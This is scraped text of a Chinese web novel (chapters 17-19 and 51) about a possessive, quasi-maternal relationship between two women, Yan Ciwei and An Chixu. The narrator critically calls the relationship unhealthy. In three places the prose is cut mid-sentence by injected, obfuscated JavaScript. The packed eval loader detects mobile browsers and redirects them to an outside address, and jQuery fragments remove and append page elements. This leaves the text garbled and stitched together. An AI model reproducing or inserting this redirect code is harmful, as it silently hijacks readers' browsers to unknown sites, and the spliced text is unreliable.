安迟叙闷闷的哼唧起来。 “手是黏的……”等她们调回刚刚的拥抱,安迟叙把她热乎乎的手伸出去。 找妈妈一样,往晏辞微面前搭。 她只需要告诉晏辞微她哪里不开心就好。 晏辞微会帮她解决剩下的麻烦。 “想要我怎么帮你?”晏辞微也不嫌弃,牵住她的手,现在她们共享那份荒唐。 “嗯?”安迟叙抬头。 她本就不太清醒,这会儿迷糊得不像话,不明白晏辞微为什么不帮她。 “这样吗?”晏辞微比她清醒太多,也比她更糊涂。 她低头,吻住安迟叙的手指。 “……”安迟叙不敢动弹。 多熟悉的感觉。她曾经过了八年这样的日子。 “姐姐……”更熟悉的称呼情不自禁冒了出来。 晏辞微亲吻的动作有瞬间凝滞。 而后,更疯狂。 直到安迟叙没耐住,晏辞微才停下,不让安迟叙逃脱成功。 “干净了吗?”晏辞微捏紧安迟叙紧绷的手,强势的钻开,和她相扣。 “……黏。”都一样。哪里干净了。 安迟叙拧起眉头看向晏辞微,略带不快。 “要求变高了。”晏辞微叹一声,准备起来去拿毛巾。 她却被安迟叙逮住。 低头,猝不及防的接受一个吻。 “这样才对。”安迟叙尝到了晏辞微的味道。 这样,才算帮了她。 *** “……对不起。”清醒了一会儿,重新换退烧贴的时候,安迟叙怔怔开口。 “我说过,没关系。”晏辞微拧干毛巾的水,拿热毛巾贴贴安迟叙不安的眉心。 安迟叙微蹙。 她以为晏辞微没懂,还想说点什么。 她没有接纳晏辞微的打算。 她们却还是更进了一步。 是她对不起晏辞微,一直都是。 晏辞微却顺手摸过安迟叙的唇。 “还要说什么呀,团团。”晏辞微哪儿会听不懂。 她只是活得太明白,太清楚自己想要什么。 她当被藏匿的情人,见不得光的金丝雀,甚至低劣的小三都可以。她不在乎。 “不说了。”安迟叙怕她生气,闭上嘴。 “给你量个体温,看看要不要再吃个什么药。”晏辞微满意,戳过安迟叙的脸。 安迟叙顺着看向晏辞微。 她抱着被子,晏辞微没有离开她的房间。 晏辞微把体温计都拿到房间里了。 这是世界上最了解她的人。 安迟叙抬起手臂,让晏辞微把体温计放好,出神的想着。 她其实不用解释那么多,更不用道歉。 她会原谅她啊。 “姐姐。”安迟叙往晏辞微躺的地方主动挪了一寸。 “安心休息,团团。”晏辞微取□□温计,随意扫过一眼,放在一边,而后抱紧安迟叙。 “姐姐在。”她吻过安迟叙的头发,牢牢锁住安迟叙脆弱的背脊。 安迟叙过热,只感到一阵安心。 她昏昏沉沉闭上眼。 梦却不肯放过她。 她梦到她七岁那年得流感。 她的两个妈妈频繁争吵,是从她六岁开始。 七岁那年是她们吵的最厉害的时候。 两个人从家里用什么油吵到为什么要在这座城市定居,为什么要刚结婚就要小孩。 每次吵都能甩出些锅碗瓢盆,安迟叙只敢躲在角落或房间,不然她就是最好的导火索。 那天安迟叙放学回家有些不舒服,不敢告诉她们,怕她们动手,只能把自己锁在房间。 晚上两个人意外安静。妈妈甚至做了一桌的菜。 安迟叙被喊出房间时昏昏沉沉的,走都走不稳,还被母亲拍了一掌,说不要这么走路。 安迟叙只能忍着咳嗽,拖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908844|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步子,勉强坐了下来。 “下个月就能到手了?”餐桌上,妈妈发问了。 安迟叙低着头看着饭粒,一颗一颗的数。这一口有二十颗,她可以咀嚼一分钟。 一旁的母亲愣了下。“啊……是吧。” “能有多少?”妈妈难得笑了下,还给难受到吃不下饭的安迟叙夹了块肉。 安迟叙现在都记得那块牛肉的味道。 有些微妙的冰箱味,馊的,像放了很久。 又多放了酱油,黑漆漆的发咸。 尝一口有些涩,怎么咬都咬不断,只能囫囵吞下,卡在喉头发烫,发干。 她也是到现在,才明白那天两个人为何休战。 母亲的工作发奖金了。数目不小。妈妈愿意为了这笔钱暂时换上笑脸。 小小的安迟叙不懂柴米油盐,却愿意为了短暂的和平付出一切。 “二十多……还没敲定。上面的人不好说话。”母亲显然不愿多谈,又给安迟叙夹了块萝卜。 胡萝卜也被烧的很难吃。安迟叙刚被牛肉呛出泪,又迫不得已把似乎没熟,还脆得夹生的胡萝卜吞下去。 她不想让这两个人再吵起来。 所以她要乖一点,老实一点。 把饭菜都吃完,再把碗筷拿到洗碗池。 如果可以的话,她应该把它们都洗了。 安迟叙塞完这顿饭,也按照想象这么做了。 结果便是她摔碎了一只盘子。 闻声赶来的母亲脸上摆着明晃晃的失望。 “对不起,对不起!”安迟叙一个喷嚏打出来,慌张的捂着鼻子,蹲下去捡。 “行了行了,小屁孩一个还逞能。”母亲大概是心情好,没跟安迟叙计较,拍拍她的肩膀,把她拎到一边去。 拎她的时候低着头,对视那一眼叫小安迟叙心惊。 安迟叙在旁边站稳后,猛吸着气,眼泪鼻涕一块儿掉。 她没挨骂。 她最亲的两个人也没有吵架。 安迟叙身子一软就要倒下去,心跳砰砰着,有很多奇怪的情绪冲破她的头,又找不到出口。 “你怎么了?”妈妈在旁边看了一眼安迟叙,觉着她有些怪,伸手想要摸她的额头。 “啊没有,可能是体育,课,太累了。”安迟叙下意识跳到一旁,没敢让妈妈碰到她的头。 她的呼吸始终不平,压着那股泪酸,让它没有喷出。 “玩这么疯啊。”母亲在一旁收着残渣,还笑了一声。 “小姑娘嘛。”妈妈搂住她的背,带她进了浴室。 …… 安迟叙猛地睁开眼,从回忆惊醒。 她的呼吸和七岁那年一样急促,迟来近二十年的眼泪终于找到了出口—— 她看见晏辞微的眼。 晏辞微正担忧的看着她。 姣好的桃花眼充盈泪水和愁思。 安迟叙愕然,一股泪涌出眼眶。 晏辞微这双眼,竟有七分像自己的母亲。 18. 第 18 章 高中是最苦闷,最恣意的青春。 有人给自己锚定了未来的女朋友,有人谈了一场又一场的恋爱,有人和小姐妹们整日谈天说地。 而安迟叙给自己找了个妈。 一个崭新的,爱她的好妈妈。 她的“新妈妈”和她同龄,稍长半年,却事事井井有条,妥帖稳重的不像未成年人。 安迟叙沉溺其中,不曾戳破这一层窗户纸。 而她的家长会,后来也全权交由晏辞微代理参加了。 两个人第一次做这件事是在高二。 文理分班的时候,安迟叙有过纠结。 晏辞微拿着她的账号,把她带到家里帮她改,一边和她分析。 “最重要的是,如果你去了文科班,那我们就不能同班了。” 彼时晏辞微对自己的角色还不太适应,语气略微生硬。 她更想一句话让安迟叙低头,服从她的安排。 安迟叙理科成绩更好,思维优秀,只是因为对历史有些兴趣,才会犹豫。 兴趣可不能当饭吃。就业大环境在改变,以后一定是理科更吃香。 能不能听话?晏辞微的眼神还没有受过训练,不自觉流露些不快。 “那不要。”安迟叙果然被她的“最后通牒”打动。 “我想和你同班。不要分开。”安迟叙试图去控制鼠标。 晏辞微先她一步帮她递交了分科志愿。 而后给她一个笑。“这样我们就能一直在一起了。” 安迟叙伸出的手悬在半空,有些无措,到底被她的笑安抚,慢慢向前。 贴上她的背,回应她自满的笑。“嗯,我们一直在一起。” 晏辞微搂住她,抚摸她柔顺的黑发,终于流露出真诚的怜惜。 那学期开学的家长会,晏辞微带着安迟叙找到班主任,告知这件事。 “你帮她家长参加家长会?”班主任带了十年书,第一次听到这种要求。 哪儿有小孩替小孩开家长会的道理。 她本想直接反驳,奈何对上晏辞微的眼,没了胆量。 晏辞微身份特殊,是四九城那边偷偷跑过来的大小姐。没人敢惹她不快,校董级别都得躲着她走。 而安迟叙家庭情况又确实不好。高一一整年家长会没见过她家来人。 班主任把一句她家长同意了吗咽了下去,最后挣扎。“以什么身份啊?” 晏辞微略作沉吟状。“姐姐?”不可以说妈妈,那就姐姐吧。 “……那安同学,你也觉得可以?”见安迟叙没有异议,班主任放弃抵抗了。 安迟叙跟在晏辞微身后,简直像她低年级的小妹妹。 不仅外形像,安迟叙比晏辞微矮小半个头,瘦弱的不符合年龄。 那双怯生生的眼,依赖的肢体动作,更像。 班主任看不见的地方,晏辞微捏着安迟叙的手,把她的不安瓦解在掌心的温度里。 安迟叙点过头,在晏辞微捏捏示意下小声嗯着,比涓流更怯。 而后她躲了起来,贴在晏辞微背上,缩小存在感,默默深呼吸。 她们捏紧的手变成十指相扣,粘腻着发热。 等待班主任做决定的一秒里,安迟叙心跳加速好快。 周遭嘈杂得她头疼,而她竟深埋在安宁的黑暗里。 只闻得到晏辞微的味道。 熟悉的沐浴露香铺满她的心口,爽肤粉的味道挠得鼻尖有些痒。 她这个假期也被晏辞微上过这种爽肤粉。她们有相似的味道,逐渐融合成一体。 “好吧。安同学要是想参加,也可以一起旁听。”班主任没法阻止无法无天的贵千金,叛逆的继承人。 后来高三第二次家长会,也是晏辞微替安迟叙开的。 离高考只有三个月了。安迟叙的家长闹离婚闹的正欢,各自有了新的伴侣,甚至小孩,无暇关心安迟叙这个旧女儿。 还好啊……她也有新妈妈了。 迎着从家长堆里走出来的晏辞微,安迟叙蹿进人群,挤开和她一般高的家长们,扑进晏辞微的怀抱。 “团团,你这次进步好大。”晏辞微也像真正的家长一样,夸奖安迟叙好几句。 安迟叙笑红了耳根,和昨天她们一起偷吃过的山楂糕一样,甜的有些腻了。 晏辞微牵起安迟叙的手,带她去一边分析这次模考成绩。 安迟叙听的认真。她混沌了十七年,终于有一个梦想。 哪怕来自晏辞微的邀请,她也想完成它。 “对了团团,还没问你为什么要坚持带病参加考试。这只是一次诊断测试而已。”晏辞微比高二那会儿熟练更多了。 她是一个好姐姐。会把让她不开心的内容放在最后,用最温和的方式问出来。 反正她的乖妹妹会老实交代的。 “我记得我帮你请好病假了。”晏辞微在安迟叙身侧,稍挡阳光。 她不比安迟叙高了,二人相处时,她的眼神依旧带着无法忽略的侵略性。 而安迟叙对此已依赖成瘾。 她爱着晏辞微略带威胁,有些黑暗的眼仁。 晏辞微只会这么看着她。 她是特殊的。 “我想知道我现在排多少。”安迟叙成绩没有那么好。 高二结束时,距离晏辞微给她定的目标,还差三十分左右。 但三十分的差距,晏辞微有信心帮她提起来。 “你不是说过,想要我和你考同一个大学吗?”安迟叙已经可以在晏辞微有些阴鸷的凝视里,贴上她的胸口了。 “我想和你一起,一直一起。”安迟叙声音放柔了。 她不再像两年前那么谨小慎微,声音细如涓流。 但面对带她走出来的晏辞微,她依旧会任性放轻。 晏辞微会听见的。 晏辞微果然搂住她的腰。这是满意的肢体动作。 而后一边给她讲题。 一边悄悄的。 吻上她的耳朵尖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908845|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> *** 可是。二十五岁的安迟叙终于知道。 没有哪一对姐妹会时刻拥抱彼此,亲吻耳尖。 没有哪一位母亲会在十七岁的年纪给女儿亲自擦爽身粉。 也没有哪一对朋友像她们这样畸形。 她们的关系不健康,从一开始就是。 等她想要脱离已经太晚。 到现在,她已经离开晏辞微两年。 依旧会在晏辞微朝她伸手的时候,奔向她给出一个拥抱。 和亲昵的吻。 以换取晏辞微的爱抚,从头发开始,一直到尾椎骨。 安迟叙的眼泪终于掉下。 一滴一滴,细小的连雨都不像。 像她这个人。 “是不是做噩梦了?”她的噩梦就在她眼前,搂着她,轻柔的按着她的太阳穴。 晏辞微如此了解她,知道她噩梦醒来,头会很疼。 安迟叙吸着气,抽噎让泪急了一点。但也只有一点,串成珍珠项链。 “一直在喊母亲、妈妈……肯定做噩梦了。”晏辞微搂着安迟叙的手拍着她的背。 满眼疼惜。 母女扮演是她们的心照不宣。 现在晏辞微又一次轻轻接过母亲的位置,搂住她脆弱的女儿。 是啊。 对晏辞微而言,安迟叙的一切反抗都只出自叛逆期。 所以她总会原谅安迟叙的。 “别哭了,本来就发烧,怪惹人疼的。”晏辞微一下下拍着安迟叙的背,替她把哭湿了的耳发顺到耳后。 “可怜的小团团。梦到什么了?”凑近些,声音几乎响在安迟叙耳畔。 安迟叙想要回避她。 她怎么会只是叛逆。她不过是想成为独立的人。 离开晏辞微的照料,无关她给出的好与坏,爱与恨。 晏辞微的一切都该脱离她。 她只是想完成这么一件事而已。 有这么难吗? “告诉我吧。说出来会好受些的。”晏辞微没让安迟叙得逞。 不断的靠近,最终咬住了安迟叙的耳尖。 像她们的十七岁。只是晏辞微不再隐忍、躲藏。 她依旧没有用力。斯磨般的调情,却也能达到掌控的目的。 安迟叙一声哑,眼泪断在半空。 晏辞微抱紧她,想要亲吻作哄。 唇瓣很近了。 接受吧。 沉溺于她的爱,其实并没有疼痛。 你知道她的掌控很好。轻柔又舒适,她不会把你摔痛。 …… 安迟叙按住了晏辞微的唇。 在她错愕的表情中,咬紧嘴唇,红了眼,聚了泪。 “工作……我这两天该调整完的表格,剪的视频,发的文案,还有,还有……” 安迟叙的话被晏辞微的眼神制止。 “我替你做完了。”这是晏辞微给她的回应。 从不意外。 19. 第 19 章 “团团,你烧这么高,没法做那些工作的。”晏辞微似乎察觉到安迟叙一瞬的紧绷,用上些力。 从背后死死的抱住她,紧缚着,近乎勒住她的腰。 海草般的黑发铺天盖地的落在安迟叙肩膀上,闷她一头水汽,好像s市闷热的梅雨季。 是逃不掉的窒息。 晏辞微贴的很紧了。初夏室温不低,哪怕开了空调,两个人贴在一起依旧会出汗。 晏辞微根本不在意衣服会被安迟叙打湿。 她全身覆盖在安迟叙背后,完完全全的裹着她。 她的姿态和她说的话没有区别。 都是囚笼般的保护。 坚硬,沉重。 “要是堆起来,接下来一周你会很累。”晏辞微的声音也成了厚重的水雾。套在安迟叙头上。 呼吸却轻柔。丝丝缕缕的捏住安迟叙的脸,带着些许黏。 逃不开的。 安迟叙闭上眼,放松呼吸。 晏辞微好像某种陷阱,安迟叙紧绷,她就给出更强势的束缚。安迟叙松弛,她就好像体贴温柔的梦中情人。 现在安迟叙放弃挣扎了。 她病的无力,或许也打心底觉得,晏辞微是对的。 她知道她的工作强度有多少。 一天的事放着不做完,要花多的三天去补。 况且热搜不等人,安迟叙不知道她在生病的这几天里错过了多少个沈既白的热搜。 晏辞微愿意帮她,那还她一个拥抱,也不会有事吧? “谢谢。”安迟叙呼吸都更轻了。她转回晏辞微的怀抱,朝她伸出手。 “乖团团,不用和我说谢谢。”晏辞微眼里闪过不寻常的满足,又被怜惜取代。 她抚着安迟叙的头发,一点点亲吻她好不容易缠住的猎物。 有时安迟叙觉得,晏辞微对她只是在捕猎。像海妖捉住了可怜的食物,食用前给出最后的吻。 她是晏辞微的食物,晏辞微在品尝她。 可她中了陷阱,浑身酸软,无力挣扎。 只能等着被彻底吃掉。 安迟叙把手放回晏辞微腰上,抱着她,停止了胡思乱想。 她把自己给了出去。 晏辞微什么也没说,捞着她亲了好一会儿。 “我去给你做饭、备药。”她起身,把软绵绵的安迟叙放下去。 想了想又抱起来。 “带你去客厅等我。” 安迟叙松松的搂着她的脖颈,迷糊着答应了。 …… 晚饭是丝瓜蒸牛肉配番茄鸡蛋面。 晏辞微又给安迟叙量了体温,已经退烧到三十七度八了,再休息一晚上能好。 “给你多做了两天的饭菜,冻在冰箱里了。晚上回家记得吃饭,不要又一天只吃一顿。” 晏辞微唠唠叨叨的叮嘱着。安迟叙慢吞吞点头,把食物往嘴里塞。 她不太尝得出咸淡,只是想来晏辞微精心准备的菜不会难吃。 “什么时候买的菜?”吃完,安迟叙嗓子有点哑了,感冒的第二道程序开始。 她把碗筷端进厨房,就被晏辞微捏着手搂出去。 “你觉得你昏睡了多久,小团团。”晏辞微揽着她的腰挠了一下。 安迟叙这才想起要去看手机。 手机里有一堆未回的消息。距离安迟叙上一次处理它们,已经过去快两天了。 她几乎昏睡了一天。难怪晏辞微有空做这些。 安迟叙挑着重点,先回了裴昱希。 奇怪的是,裴昱希在周日给她发了一大堆消息,周一却安静下来,还让她好好消息。 安迟叙这才看见晏辞微替她发了条朋友圈,说生病了没法看消息。 ……原来晏辞微都看过了。肯定也知道她想给她打电话。 安迟叙忍了忍,把如同坐在石头上的不快按了下去。 特殊情况。安迟叙在心里叹息一声,回了裴昱希,说下周一可以接橘子回来。 想看看沈既白的情况时,手机被晏辞微抽走。 “工作还是……朋友?”晏辞微尽可能让自己的语气听起来不那么冲。 “啊,都有。”安迟叙还没反应过来,扬起头,被晏辞微眼里的不快闪了下。 “不管她们,好好休息。” 见安迟叙愣着,晏辞微才柔了眉眼,手掌轻轻落在她头上。“我们回房间,好不好?” 安迟叙只能伸出手。 入夜,安迟叙吃了药,头脑本就昏昏沉沉,又被晏辞微哄了一会儿,入睡奇快。 晏辞微见她睡熟,起身踮着脚,尽可能安静的出了卧室。 她走向安迟叙放过橘子的客房,打开门。 看着那一堆猫咪用品,沉了眉眼。 原来真的是她。 *** 翌日醒来,安迟叙已经退烧了。 晏辞微还睡在她身边,半搂着她。 细看手腕还有奇怪的红痕,像被绳子拴住过。 安迟叙动了动手,没特殊的感觉。 硬要说的话,昨日她们情不自禁那什么之后留下的感觉更多。 她很久没有做过这些事了,手不太习惯,怪酸的。 指尖也若有若无的留着些软。 安迟叙洗漱的时候活动了一下。除了嗓子还有点哑,睡太久头晕晕的,别的没什么感觉了。 她今天该去工作了。 安迟叙没有叫醒晏辞微,倒是进了厨房。 她是想给晏辞微做早饭的。 她不是十多岁的小朋友了,可以自己照顾自己。 也当然可以在晏辞微照顾她之后,反过来照顾晏辞微。 安迟叙动作向来很轻,打蛋的声音也小。 家里是静音厨房,隔远一点听不见什么声音。 但安迟叙没能把两个煎蛋煎完。 她的腰又被抱住。 晏辞微似乎没睡醒。安迟叙不知道,她前天守了自己一宿,昨天晚上也睡的很浅,时不时就会醒来看看安迟叙在不在。 意外睡沉了一个小时,再睁眼就没看见安迟叙了。 “团团……”晏辞微的声音很稠,含糊不清的。 动作却一点都不让,抱的很紧,还上下摸索着。 似乎在说,你不乖。 “怎么在做早饭?”她明明准备好了的。安迟叙只需要热一下就能吃。 况且,她就在她身边。 为什么不能像以前一样全身心依赖她呢? 晏辞微逐渐捏紧手指,不经意颤抖一瞬。 “时间刚刚好,想给你做早餐。”安迟叙关了火,放下锅铲。 蛋已经糊了。是刚刚晏辞微悄无声息的突然闯入,让安迟叙没反应过来。 “都糊了。”晏辞微轻笑一声,终于醒了,声音也不似之前的粘。 她捏住安迟叙的手,接过锅铲,亲吻安迟叙的额头。 一串动作在几秒钟内完成,快到安迟叙反应不过来。 她本就是个迟钝温吞的姑娘,晏辞微了解她的。 想要做什么,只需要快一点,就能叫安迟叙被迫答应。 除了性子慢,安迟叙还能忍。面对爱人,她只会往后退。 况且是一件这么小的事。 安迟叙果然没说什么,松了手。 晏辞微紧接着亲过安迟叙的脸,鼻尖,睫毛,眼角。 把她亲得动弹不得,拽着晏辞微的衣领耳根发热。 “我来就好。”晏辞微已经把安迟叙亲到厨房门口了。 “团团再去眯一会儿,或者……回消息?”她似乎不知道她说最后那三个字的时候,笑容会有些阴鸷。 安迟叙也习惯她的黑笑脸了,蹭过她的肩膀,出了厨房。 只是一次早饭,不碍事。 安迟叙去处理消息,才看见沈既白这两天上了好几个热搜。 有一个位次冲的很高,是路演现场的唱跳视频。 看着像路人发的,但评论区能看得出公司操作的痕迹。 安迟叙又点进沈既白的主界面,发现她涨了好多粉。 昨天的自拍对比上一条多了数千条评论,都是活粉。 挺好的。安迟叙衷心的祝愿这个小妹妹能越走越好,早点把她这个底层人设策划助理甩了才是。 吃过晏辞微做的早饭,又蹭了晏辞微的车。 安迟叙在车里亲了下晏辞微才离开。 她跑的很快,急着回去接手这两天落下的工作。 晏辞微摸过耳朵尖。 她又贪心了,哪怕安迟叙已经说了对不起。 *** “安姐,你可算回来了。感冒好点了吗?”实习生田茗看见带她的姐姐来,赶紧凑了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908846|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好多了,这两天有什么事吗?”安迟叙放下东西进入工作状态。 躺了两天,被晏辞微惯着,骨头都懒得动了。 “有,好大一件事。”田茗本来想装作秘密,看了一眼四周,也没压低声音。反正都是人尽皆知的秘密了。 “唐组长被开了———”田茗说的时候还挑眉。 没人想得到这件事和安迟叙会有关系。 安迟叙开电脑的动作,停了。 她兀地想起来高中的那位学习班长,哪怕她连对方的名字和脸都记不住,也依旧记得,她在嘲笑自己的第二天休学了。 多像啊。只有晏辞微会这样。 “为什么?”安迟叙余光扫过田茗的脸,赶忙调整状态。 “听说是工作没做好,查出来很多漏洞,好像还有走后门的事……”小田永远走在八卦第一线,消息很灵通。 她说的原因没有哪一条符合偷别人企划,打压下属的真实情况。 那,二十五岁的自己该又一次相信吗? 安迟叙有些迷茫。她只能猜到是晏辞微动了手,可根本没法问,也没有立场去质问分明帮了她的晏辞微。 她只是……有点厌烦晏辞微这样不管不问的好意。 她明明有计划的。况且放着唐殊不管,也没有造成什么影响。 晏辞微哪怕提前和她商量呢? 安迟叙在洗手间抹过脸,深吸一口气。 只是个唐殊而已,不必在意。 组长被开除,新的人选还没有定,今天没有太多事。 准时下班回到家,安迟叙看见晏辞微在门口迎接。 对上晏辞微含笑的眼,安迟叙就放过了唐殊的事。 只是不重要的人。 她曾经做出过选择,如今也不会改变。 “你就下班了?”安迟叙默许了晏辞微回家。 说到底,这里本就是晏辞微的房子,安迟叙只是长租下来,按照市场价的60%,每年打给晏辞微。 她原本想完全按市场价给,分手那会儿晏辞微死活不同意。 让她回家吧。 也许她们真的可以…… “我可以在家做完剩下的事。”晏辞微走上前,接过安迟叙的东西。 安迟叙主动抱了抱她,晏辞微没忍住,搂上她的腰。 这是一场随时会结束的幻梦。晏辞微很清楚这一点,她只是甘之如饴。 她只是太想念安迟叙的怀抱,湿热的吻,可爱而努力的手指…… 安迟叙在她的怀里沉闷。 她只郁闷了一秒,就陷落下去。 她喜欢晏辞微的拥抱。那是她在世界上第一次感受到爱,浓烈的偏爱,无偿的挚爱。 让她放纵一会儿就好。 也许晏辞微和两年前相比,改了不少呢? 晏辞微做了晚饭,两个人吃完,晏辞微又给安迟叙喂了药。 “我今天差不多没事了。”安迟叙捧着杯子看向晏辞微。 “得吃。你白天肯定忘了。”晏辞微捏过安迟叙的脸。 “我明明是好了……”安迟叙没多计较,吃完药依在晏辞微怀里。 她们看过一场电影,拥吻着荒唐。 第二天亦是如此。 一直到周末,安迟叙要清理猫房的东西,准备把橘子接回来。 她还没有跟晏辞微说过这件事呢。 她会同意吗?还是说她们复合以后,可以一起养一只猫? 安迟叙念着这件事,心里带着快意。 好像未来再次充实,她不再是空心的壳子,填补她的爱再次回到她身边。 她打开客卧。 那里空了。 猫砂盆,猫爬架,猫窝…… 全都消失了。 安迟叙的笑还卡在眼角。 她想到一个人。 那个人现在来到了她身侧。 没有解释的意思,只是默默的注视着她。 多么安静,这一幕似曾相识,四年前她们也曾这样对峙。 不同的是,那会儿安迟叙情绪激动,晏辞微亦不肯退让。 …… 她们不可能复合了。 安迟叙听见玻璃破碎的声音。 于是她侧头,对上晏辞微眼里的阴霾。 “你该走了。” 天气同样布上阴霾,而骤雨将至。 50-60 第51章 第 51 章 反正她也不会回来了…… “她跟你发消息?”安迟叙默了一瞬, 竟不觉得意外。 “不……她去开会之前叮嘱我。”助理省了半句话没说完。 就好像晏辞微已经料到安迟叙会来一样。 晏辞微果真对自己了如指掌。 安迟叙望着有些汗流浃背的助理,双眼却空洞了,透过助理远远凝视, 直到撞进名为母亲的虚空。 她没再开口, 重新拿起茶几上的小糕点,一口顿一口缓的吃着。 小小一块绿豆糕被吃出盛宴的感觉,像什么仙露琼浆,需要安迟叙细细品味。 她吃了很久,配着凉透的茶水把剩下一口咽下。 距离她来办公室, 已经过去半个多小时了。 晏辞微没有回来。 安迟叙便推开门。 她就走了吗?助理额角挂着汗珠, 这半个小时里最难熬的人是她。 她拿出手机想跟晏辞微汇报, 又不知道该怎么说。 安迟叙太安静了。 听见晏辞微的阻拦, 什么脾气都没有, 还能默默把给她准备的糕点吃完。 助理想,自己可做不到这样。女朋友要是不给理由,单纯因为吵架针对自己,自己能把桌子掀了, 非要她给个道理。 况且晏总也真不干人事。还特地挑这个时间去开会。 助理心里叨叨着, 一下错失了最佳时机,门又被推开了。 力道很小, 很静。年代久远的大门开关都没被弄出声响, 可见做这件事的人多么细心。 是不同于晏辞微的力道。晏辞微可不管这门坏不坏,每次推门都无意识用力。 助理扬起头,看见安迟叙抱着电脑走了进来。 静悄悄的, 挪步到自己身边,找了张椅子,将电脑放下开始办公。 两个人的距离挺近的。助理都不知道该不该动。 安迟叙泰然自若, 已经修改起ppt。 她看起来很小一团,坐在椅子上跟缩墙角一样,像冬天躲在被子里的猫。 猫科动物普遍不大,最凶猛的黑足猫也很小一团,炸开毛发看起来也毛茸茸的,只有捕食猎物亮出的獠牙利爪让人毛骨悚然。 安迟叙也是一种猫,朴实无华,像田园狸花猫。 助理悄悄用余光观察。 挺奇怪,她为什么会觉得安迟叙小巧?安迟叙明明有一米七五以上。 具体身高助理看不出来,但安迟叙比晏辞微略高,而晏辞微有一米七六。 或许是太瘦了。 助理扫到安迟叙深凹的锁骨,觉着奇怪。 晏辞微每天都带了盒饭给安迟叙,还能把人养这么瘦,看来是安迟叙吸收的问题。 不易胖体质啊。羡慕不来。 助理感叹着收回眼神,看向手机里的晏辞微,更不知道该怎么说了。 拖一下吧……?助理没跟晏辞微太久,不清楚她的性格习惯,第一次遇到上级感情上的事,根本不想参合。 她想,安迟叙可能等两个小时就会回去了。两个人是情侣嘛,回家再吵也行。 只是两个小时过去,安迟叙还坐在助理旁边。 从修ppt换到改方案,都用过晏辞微房间的打印机了,还没有走的意思。 四个小时过去。安迟叙午饭都吃过了,方案修了一遍,还喊了两个人上来给她汇报,把这儿当自己办公室,依旧没有离开。 下班时间点都到了。助理磨蹭着想走,安迟叙还在加班,期间还给谁去了个电话,打挺久,起码四十分钟,这会儿电脑留房间里,人下楼,估计是去吃晚饭了。 又是三个小时。快九点了。助理败下阵来,刚准备给晏辞微汇报安迟叙的事。 办公室门终于被熟悉的力推开。 晏辞微满身尘霜,大衣还带着雨的痕迹,约莫是出了外勤。 进了门,本能提醒着她熟悉的人,鼻尖先眼睛一步嗅出安迟叙的存在。 她抬眸对上安迟叙沉静的眼,诧异缩小瞳孔。 晏辞微看向助理,拧着的眉头叫助理瑟瑟发抖。不赞同的眼神在质问她为什么不说。 而后她稍侧下巴。助理得了救命稻草一般飞奔出办公室。 办公室里只剩晏辞微和安迟叙。 晏辞微没想过安迟叙会等她一天。 却是为了工作上的事。 欢喜都被这个认知冲成苦涩。晏辞微沉一张脸,把手里的东西搁在电脑桌上。 期间安迟叙不过扫她一眼,似乎很忙一样,手里工作不停。 于是晏辞微也不看她。 “如果你是为了宣传片的事,请回吧。”晏辞微看见茶几上被清空的点心盘,指尖擦过安迟叙用过的茶杯,拿起它,看着安迟叙留下的痕迹,也不肯看向安迟叙本人。 安迟叙没有动。 她要一个理由。 晏辞微放下茶杯,故作漫不经心,扫过安迟叙的肩膀。 她知道安迟叙哪里最脆弱,经不起哪怕一瞬目光的摧残。 她是最了解安迟叙的人,也能用最简单的招式轻易摧毁安迟叙。 母亲对女儿,大抵如此。 晏辞微终究收回了目光,没去摧垮安迟叙的脊背。 兴许是不忍,兴许只是料到安迟叙的叛逆,她已经不会轻易被她控制了。 “词条热度在降。冼知棠没钱一直续费。你想做的事没有意义。”晏辞微本也没打算以这件事央胁安迟叙回来。 手段太低端了点。她都不需要出手,阻拦或推波,这件事自己就会消散。 她只是没想到安迟叙就用了一场会议,十五分钟,就把手下那团散沙重新管好了。 她以为安迟叙至少会因此苦恼几天。 后面还有新的人要加入她的团队。也许安迟叙受不了这份责任,会来求她。 需要她。 只是安迟叙没有反应。 她的手搭在键盘上很久没有动了,显然听见了晏辞微的话,有情绪。 但不开口,晏辞微只能当作没有看见。 “现在不适合把内容放出去。节目不会为了区区一个底层策划打破自己的宣传计划。” 这话说的很不好听,也很现实。 只是晏辞微给的理由竟能说服安迟叙。 安迟叙开始收东西。 “……或许你问问我呢?”晏辞微没想到安迟叙这么决绝。等不到理由就一直等,拿了理由就走人。 一点回旋的意思都没有。 其实,她是有潜台词的。 节目不会为了底层策划开口子。 但她会为了安迟叙做任何事。 只要安迟叙开口。 安迟叙听见她的话,一声不吭,只是把电脑装好。 走出了晏辞微的办公室,一步都没有停顿。 她来得静悄悄,走也沉默。 猫永远这么骄傲,这么静默。 晏辞微拿她一点办法都没有。 只能望着幽静的走廊,点燃一支水果烟。 